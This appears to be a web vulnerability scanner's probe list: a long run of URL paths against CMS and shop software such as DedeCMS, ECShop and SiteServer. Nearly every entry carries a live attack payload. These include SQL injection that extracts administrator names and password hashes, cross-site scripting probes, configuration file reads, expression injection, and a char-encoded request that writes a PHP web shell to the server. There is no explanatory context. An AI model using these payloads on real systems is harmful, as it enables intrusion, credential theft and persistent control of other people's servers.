/plugins/phpdisk_client/passport.php?YWN0aW9uPXBhc3Nwb3J0bG9naW4mdXNlcm5hbWU9MSZwYXNzd29yZD0xJnNpZ249NjdBMTAwNDc5QTQ4OTMyOUEzMTIxRUM0QTM2M0FBNzcmdHBmPXBkX3VzZXJzIHdoZXJlIGdpZD0xIGFuZCAoYXNjaWkoc3Vic3RyaW5nKChzZWxlY3QgdXNlcm5hbWUgZnJvbSBwZF91c2VycyB3aGVyZSBnaWQ9MSBsaW1pdCAwLDEpLDEsMSkpPTk4KSBsaW1pdCAwLDEj /plus/Ajaxs.asp?action=GetRelativeItem&Key=goingta%2525%2527%2529%2520%2575%256E%2569%256F%256E%2520%2573%2565%256C%2565%2563%2574%25201 /plus/Promotion.asp /plus/ad_js.php?aid=1&nocache=1 /plus/advancedsearch.php?mid=18&sql=select+1+%20or%20@`'`=1+and+ExtractValue(0x1 /plus/ajax_common.php?act=hotword&query=%e9%8c%a6'%20or%201=1%23 /plus/ajax_officebuilding.php?act=key&key=s%e9%8c%a6'%20or%201=1%20%20%23 /plus/ajax_street.php?act=key&key=e%e9%8c%a6'%20or%201=1%20%20%23 /plus/ajax_user.php?act=check_email /plus/ajax_user.php?act=check_usname /plus/bshare.php?dopost=getcode&uuid=%22%20onload=alert%281%29// /plus/carbuyaction.php /plus/carbuyaction.php?dopost=return&code=../../tags /plus/download.php?id=1&open=2 /plus/download.php?id=1&open=2&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=95&arrs2[]=97&arrs2[]=114&arrs2[]=99&arrs2[]=116&arrs2[]=105&arrs2[]=110&arrs2[]=121&arrs2[]=32&arrs2[]=117&arrs2[]=110&arrs2[]=105&arrs2[]=111&arrs2[]=110&arrs2[]=32&arrs2[]=115&arrs2[]=101&arrs2[]=108&arrs2[]=101&arrs2[]=99&arrs2[]=116&arrs2[]=32&arrs2[]=49&arrs2[]=44&arrs2[]=50&arrs2[]=35 /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=40&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=44&arrs2[]=101&arrs2[]=120&arrs2[]=112&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=44&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=41&arrs2[]=32&arrs2[]=86&arrs2[]=65&arrs2[]=76&arrs2[]=85&arrs2[]=69&arrs2[]=83&arrs2[]=40&arrs2[]=53&arrs2[]=53&arrs2[]=53&arrs2[]=49&arrs2[]=53&arrs2[]=44&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96&arrs2[]=44&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=115&arrs2[]=118&arrs2[]=105&arrs2[]=112&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=105&arrs2[]=110&arrs2[]=115&arrs2[]=117&arrs2[]=105&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=86&arrs2[]=73&arrs2[]=80&arrs2[]=50&arrs2[]=46&arrs2[]=49&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=41&arrs2[]=32&arrs2[]=35&arrs2[]=32&arrs2[]=64&arrs2[]=96&arrs2[]=92&arrs2[]=39&arrs2[]=96 /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=35 /plus/download.php?open=1&link=aHR0cDovL2Jicy53ZWJzY2FuLjM2MC5jbg== /plus/download.php?open=1&link=aHR0cDovL3d3dy5weXRob24ub3Jn /plus/mytag_js.php?aid=55515 /plus/pf/rate.php?id=111%3D@%60%5C'%60+and+(SELECT+1+FROM+(select+count(*) /plus/posttocar.php /plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\'%20%20or%20mid=@`\\'`%20/*!50000union*//*!50000select*/1 /plus/search.php?keyword=11&typeArr%5B%60@%27%60%20and%28SELECT%2f%2a%2a%2f1%20FROM%28select%2f%2a%2a%2fcount%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28SELECT%2f%2a%27%27%2a%2fconcat%280x7e%2C0x7e%2C0x7e%2C0x7e%2Cuserid%2C0x3a%2Cpwd%2C0x7e%2C0x7e%2C0x7e%2C0x7e%29%20from%20%23@__admin%20Limit%200%2C1%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%5D=1 /plus/search.php?typeArr[2%27%20and%20@%60%5C%27%60%3D0and%20and%20%28SELECT%201%20FROM%20%28select%20count%28%2a%29%2Cconcat%28floor%28rand%280%29%2a2%29%2C%28substring%28%28Select%20md5%280x7765627363616e%29%29%2C1%2C62%29%29%29a%20from%20information_schema.tables%20group%20by%20a%29b%29%20and%20%27]=c4&kwtype=0&q=c4rp3nt3r&searchtype=title /plus/xsvip.php /pma/ /pma/ChangeLog /pmwiki.php /portal.php?diy=yes%22%3E%3C/ScRiPt%3E%3CScRiPt%3Ealert(/webscan/)%3C/ScRiPt%3E /portal/group/articl.php?portal_id=3&column_id=3&content_id=184)%20and%20(select%201%20from%20(select%20count(*) /posthistory.php?tel=IiBhbmQoc2VsZWN0IDEgZnJvbShzZWxlY3QgY291bnQoKiksY29uY2F0KChzZWxlY3QgKHNlbGVjdCAoU0VMRUNUIENIQVIoMTAwLCA1NiwgMTAwLCA1NywgNDgsIDk3LCA5NywgNTcsIDUyLCA1MSwgMTAxLCA1MiwgOTcsIDEwMCwgMTAwLCA1MCkpKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgbGltaXQgMCwxKSxmbG9vcihyYW5kKDApKjIpKXggZnJvbSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIGdyb3VwIGJ5IHgpYSkj /product-xxx-%3Cscript%20language=%22php%22%3Eecho%20%22webscancfreer%22;-_set_compile.html /productbuy/checkout.asp?11_22.html /protextbox.asp?hw_%69d=513%20and%201=2%20union%20select%201 /publique/cgi/cgilua.exe/sys/start.htm?sid=8%20and%20(select%201%20from(select%20count(*) /pw8fe4c11451281c094a6578e6ddbf5eedp.php /pwwiki/pmwiki.php /radcontrols/editor/dialog.aspx?dialog=ImageManager&editorID=');%3C/script%3E%3CScRiPt/acu%20src=1%20onerror=alert(42873)%3E%3C/ScRiPt%3E%3Cscript%3E//&language=zh_CN&sessionID2=8ca6abaf-d361-328c-9178-%20f78311cd0329&UseEmbeddedScripts=yes&useSession=0 /reader/key_query.aspx?key=t'%20and%203=1/Reverse('yousonofbitch')%20-- /reg.php?F_lang= /register.php /register.php?do=check /register.php?do=submit /report/reportJsp/traceTimeout.jsp?raq=/trace_timeout.raq&name=%22%3E%3CsCrIpT%3Ealert(42873)%3C/sCrIpT%3E /report/reportServlet?action=4&url=http://127.0.0.1&file=wait_trace.raq&columns=0&srcType=file&width=-1&height=-1&cachedId=A_2&t_i_m_e=&frame=stu_saveAs_frame--%3E%3C/sCrIpT%3E%3CsCrIpT%3Ealert(42873)%3C/sCrIpT%3E /resin-doc/viewfile/?file=index.jsp /resource/avatar/avatar.php?a=uploadavatar&input=uid%3D1122.php /respond.php?code=alipay&service=trade_create_by_buyer&subject=%5C0&out_trade_no=%5C%00%27and%20%28SELECT%201%20FROM%20%28select%20count%28%2a%29%2Cconcat%28%28SELECT%20concat%280x7e%2C0x7e%2C0x7e%2C0x7e%2Cuser_name%2C0x3a%2Cpassword%2C0x7e%2C0x7e%2C0x7e%2C0x7e%29%20FROM%20ecs_admin_user%20where%20user_id%3D1%29%2Cfloor%28rand%280%29%2a2%29%29x%20from%20information_schema.tables%20group%20by%20x%29b%29%23 /respond.php?code=alipay&subject=0&out_trade_no=%00'order%20by%20010101010webscan%20--%20( /resume/?key=xxxx%bf%22;alert(360);// /rewiew_detail.php?ctype=4&conid=1+and+(select+1+from+(select+count(*) /riseapprove_web/bqbzDetail.do?id=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122 /riseapprove_web/indexGetDatags.do?depNO=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122 /riseapprove_web/secondPage/burgherServiceDetail.do?bs=1&serviceType=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122 /riseapprove_web/secondPage/celerityAlleywayDetail.do?type=7'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd /riseapprove_web/secondPage/deptProceedingDetailnew.do?itemtype=12%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)&depNO=jx&approveName=&nowPage=3 /riseapprove_web/secondPage/deptProceedingDetailnew.do?itemtype=6&depNO=1122'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122&approveName=&nowPage=3 /riseapprove_web/sencondPage/moreResultFormula.do?applicant=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122 /riseapprove_web/yhzc/NewFile.jsp?loginname=admin'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd /riseapprove_web/yhzc/isFlag.jsp?loginname=admin'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd /riseapprove_web/yhzc/isPass.jsp?id=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'FrOd'='FrOd /riseapprove_web/yushouli/yushouliResult.do?item_ID=1'%20AND%201122=(SELECT%20UPPER(XMLType(CHR(60)%7C%7CCHR(58)%7C%7CCHR(99)%7C%7CCHR(102)%7C%7CCHR(114)%7C%7CCHR(101)%7C%7CCHR(101)%7C%7CCHR(114)%7C%7CCHR(58)%7C%7C(SELECT%20(CASE%20WHEN%20(1122=1122)%20THEN%201%20ELSE%200%20END)%20FROM%20DUAL)%7C%7CCHR(58)%7C%7CCHR(106)%7C%7CCHR(120)%7C%7CCHR(58)%7C%7CCHR(62)))%20FROM%20DUAL)%20AND%20'1122'='1122 /robots.txt /roller-ui/login.rol?pageTitle=%24%7Bnew+java.lang.Integer%281088446%2B2940562%29%7D /roller-ui/login.rol?pageTitle=%24%7Bnew+java.lang.Integer%281803092%2B2590092%29%7D /rss.php?module=news&attasql=union%20select%201 /search.php?c=5&hit=1&s='%20and(select%201%20from(select%20count(*%29 /search.php?encode=YToxOntzOjQ6ImF0dHIiO2E6MTp7czoxMjU6IjEnKSBhbmQgMT0yIEdST1VQIEJZIGdvb2RzX2lkIHVuaW9uIGFsbCBzZWxlY3QgY29uY2F0KHVzZXJfbmFtZSwweDNhLHBhc3N3b3JkLCciXCcpIHVuaW9uIHNlbGVjdCAxIyInKSwxIGZyb20gZWNzX2FkbWluX3VzZXIjIjtzOjE6IjEiO319 /search.php?metode=1%20union%20select%201 /search.php?mod=information&ids=1-cfreer&catid=1 /search.php?modelid=4444444444%20or%201=1 /search.php?modelid=4444444444%20or%201=2 /search.php?query=&modelid=1%20or%201 /search.php?query=a';?%3E%3C?exit(sha1('360webscan'));?%3E&modelid=1%20or%202=2 /searchLines.aspx?LName=h%25'; /searchLines.aspx?LName=h&t=webscan()' /server-info /server-status /server-status/ /server_sync.php /servlet/LoginImage /servlet/ShowPic?filePath=/tomcat/webapps/ROOT/WEB-INF/web.xml /setup/setup1.jsp /shop.php?ac=view&shopid=1-cfreer /shopadmin/index.php?ctl=passport&act=login&sess_id=7'+and(select+1+from(select+count(*) /shoppingcart.php?a=addshopingcart&goodsid=1%20and%20@`'`%20/*!50000union*/%20select%20null /shoppingcart.php?a=addshopingcart&typeid=1%20or%20@`'`=1%20and%20(SELECT%201%20FROM%20(select%20count(*) /show.php?id=10%20and%201=2%20union%20select%201 /showtopiclist.aspx?direct=0%22/%3E%3Cscript%3Ealert(42873)%3C/script%3E&forumid=-1&order=1&page=1&search=1&type= /showtopiclist.aspx?direct=0&forumid=-1&order=1%22/%3E%3Cscript%3Ealert(42873)%3C/script%3E&page=1&search=1&type= /siteserver/CMS/console_tableMetadata.aspx?ENName=cms_Content'%2b(select%20char(REVERSE('kssqltestkssqltest')))%2b'@@version&TableType=BackgroundContent /siteserver/UserRole/background_userAdd.aspx?UserName=-1no_exist%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29--+&ReturnUrl=..%2Fcms%2Fconsole_user.aspx /siteserver/UserRole/background_userAdd.aspx?UserName=1122'%20and%20char(106)%20=1%20--&ReturnUrl=../cms/console_user.aspx /siteserver/UserRole/modal_userView.aspx?UserName=dd'%20and%201=char(106);-- /siteserver/bbs/background_keywordsFilting.aspx?grade=0&categoryid=0&keyword=test%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29+and+%27%25%27%3D%27 /siteserver/bbs/background_post.aspx?UserName=0&DateTo=&ForumID=0&DateFrom=&Title=test%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29+and+%271%25%27%3D%271 /siteserver/bbs/background_thread.aspx?UserName=0&DateTo=&ForumID=0&DateFrom=&Title=test%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29+and+%271%25%27%3D%271 /siteserver/bbs/background_user.aspx?PageNum=0&Keyword=test%27+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29%29+as+t0--&UserGroup=7 /siteserver/cms/background_channelsGroup.aspx?nodeGroupName=1%27%29+and+1%3D%28select+top+1+char%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28105%29%2Bchar%28110%29%2Bchar%2895%29%2Bchar%28116%29%2Bchar%28104%29%2Bchar%28105%29%2Bchar%28115%29%2Bchar%2895%29%2Bchar%28115%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28118%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%2895%29%2Bchar%2851%29%2Bchar%2849%29%2Bchar%2855%29%2Bchar%2856%29%2Bchar%2850%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BUsername%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2B%5BPassword%5D%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2845%29%2Bchar%2857%29%2Bchar%2856%29%2Bchar%2855%29%2Bchar%2854%29%2Bchar%2895%29%2Bchar%28110%29%2Bchar%28111%29%2Bchar%2895%29%2Bchar%28104%29%2Bchar%28101%29%2Bchar%28114%29%2Bchar%28101%29+from+%5Bbairong_Administrator%5D%29%29+as+t0--+&publishmentSystemID=1 